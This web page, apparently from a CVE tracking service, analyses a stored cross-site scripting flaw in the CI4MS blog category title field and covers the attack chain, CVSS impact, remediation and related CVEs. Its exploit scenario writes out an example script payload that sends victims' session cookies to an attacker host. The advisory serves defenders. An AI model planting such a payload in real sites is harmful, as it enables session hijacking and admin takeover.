Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to CI4MS application
-
DeliveryInject JavaScript payload in blog category title field
-
ExploitPayload stored in database
-
ExecutionUnsafely rendered on public pages and admin interfaces
-
PersistExecute arbitrary JavaScript in user browsers
-
ImpactSteal session cookies or admin credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated user with blog category creation/editing privileges in CI4MS versions prior to 0.31.0.0. Attacker injects malicious JavaScript into category title field during creation or edit. Payload executes when any user views blog category pages, posts, or admin interfaces without requiring victim interaction. |
| Impact | The CVSS 9.9 Critical rating reflects genuine severity driven by scope change and the multi-context impact of stored XSS in a CMS environment. The attack vector is network-accessible with low complexity and requires only low-privilege authentication, meaning any authenticated user (potentially self-registered depending on deployment) can exploit this. The S:C (Changed Scope) modifier is particularly significant-injected payloads stored in blog categories execute when viewed by higher-privileged administrators, enabling privilege escalation, session hijacking, and administrative account compromise. While no public exploit code has been identified and the vulnerability is not listed in CISA KEV, the technical barrier to exploitation is minimal for any authenticated attacker familiar with XSS techniques. The stored nature means payloads persist and trigger repeatedly across public and administrative contexts without requiring continuous attacker interaction. Real-world risk is elevated for internet-facing CI4MS installations, particularly those with open user registration or untrusted authenticated users. SSVC technical impact is Total (arbitrary code execution in victim browsers), exploitation is straightforward and automatable for authenticated attackers, though the requirement for authentication provides minimal barrier. Organizations running vulnerable versions should prioritize remediation given the scope-crossing impact and authentication requirements that may be easily obtained. |
| Exploit ScenarioDerived | An attacker with low-privilege authenticated access to a CI4MS installation navigates to the blog category management interface and creates a new category with title containing a stored XSS payload such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'. The application stores this unsanitized input in the database. When legitimate users or administrators subsequently view public blog category pages or access the administrative category management interface, the stored JavaScript executes in their browser context with their session privileges. The attacker's script exfiltrates session cookies enabling account takeover, or injects additional malicious content to perform actions as the victim including creating administrative accounts, modifying site content, or deploying persistent backdoors. The scope change aspect means administrative sessions are compromised when admins review categories created by low-privilege users, enabling complete site takeover. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript that executes across multiple application contexts including public blog pages and administrative interfaces. Affecting all versions prior to 0.31.0.0, attackers with low-privilege authenticated access can achieve scope change with high impact to confidentiality, integrity, and availability (CVSS 9.9). Vendor-released patch available in version 0.31.0.0. No public exploit identified at time of analysis, though EPSS data unavailable and exploitation is straightforward given low attack complexity.
RemediationAI
Upgrade immediately to CI4MS version 0.31.0.0, which includes comprehensive input sanitization and output encoding fixes for the blog category management functionality. The patched release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0 and addresses both server-side input validation and client-side output encoding across all affected rendering contexts. Organizations unable to upgrade immediately should implement temporary compensating controls including restricting blog category creation/editing permissions to only highly trusted administrative accounts, implementing web application firewall rules to detect and block common XSS payloads in category title fields, and conducting manual review of existing category titles for malicious content. Content Security Policy headers should be configured to mitigate XSS execution if not already deployed. Complete remediation requires applying the vendor patch as input validation and output encoding fixes are integrated throughout the application codebase.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CI4MS (cpe:2.3:a:ci4-cms-erp:ci4ms) is a content management system built on the CodeIgniter 4 PHP framework, providing role-based access control and modular theming capabilities. This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the blog category management functionality. The application accepts user input for category titles without adequate server-side sanitization or validation, persists the malicious payload to the database, and subsequently renders it in DOM contexts across multiple application surfaces without proper output encoding or context-aware escaping. The CVSS vector indicates network-accessible exploitation (AV:N) with low complexity (AC:L) requiring only low-privilege authentication (PR:L), and critically includes scope change (S:C), meaning the vulnerable component's security context differs from the impacted resources-typical of stored XSS where injected code executes in other users' sessions including administrative accounts.
Know when Ci4ms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionNVD
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when creating or editing blog categories. An attacker can inject a malicious JavaScript payload into the category title field, which is then stored server-side. This stored payload is later rendered unsafely across public-facing blog category pages, administrative interfaces, and blog post views without proper output encoding, leading to stored cross-site scripting (XSS). This issue has been patched in version 0.31.0.0.
Executive ViewAI
CI4MS versions prior to 0.31.0.0 contain a stored cross-site scripting vulnerability in blog category management that allows authenticated users to inject malicious code affecting public-facing blog pages and administrative interfaces. Any user with application access-including low-privilege accounts-can compromise data confidentiality, modify content integrity, and disrupt service availability across the platform. Immediate patching is required to prevent insider threats and account compromise.
Apply vendor patch (version 0.31.0.0). If immediate patching is not possible: restrict blog category management permissions to administrative accounts only; implement Web Application Firewall rules to sanitize JavaScript patterns in blog category inputs; disable public blog functionality temporarily if acceptable operationally; monitor administrative interface logs for suspicious category modification activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute
Environment file injection in CI4MS versions prior to 0.31.4.0 allows remote attackers to inject arbitrary configuration
Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a
Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa
Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to
Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc
Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges
Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici
Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali
Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe
Stored blind cross-site scripting in CI4MS backup management allows authenticated attackers to inject malicious JavaScri
EUVD-2026-18084
GHSA-fhrf-q333-82fm
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB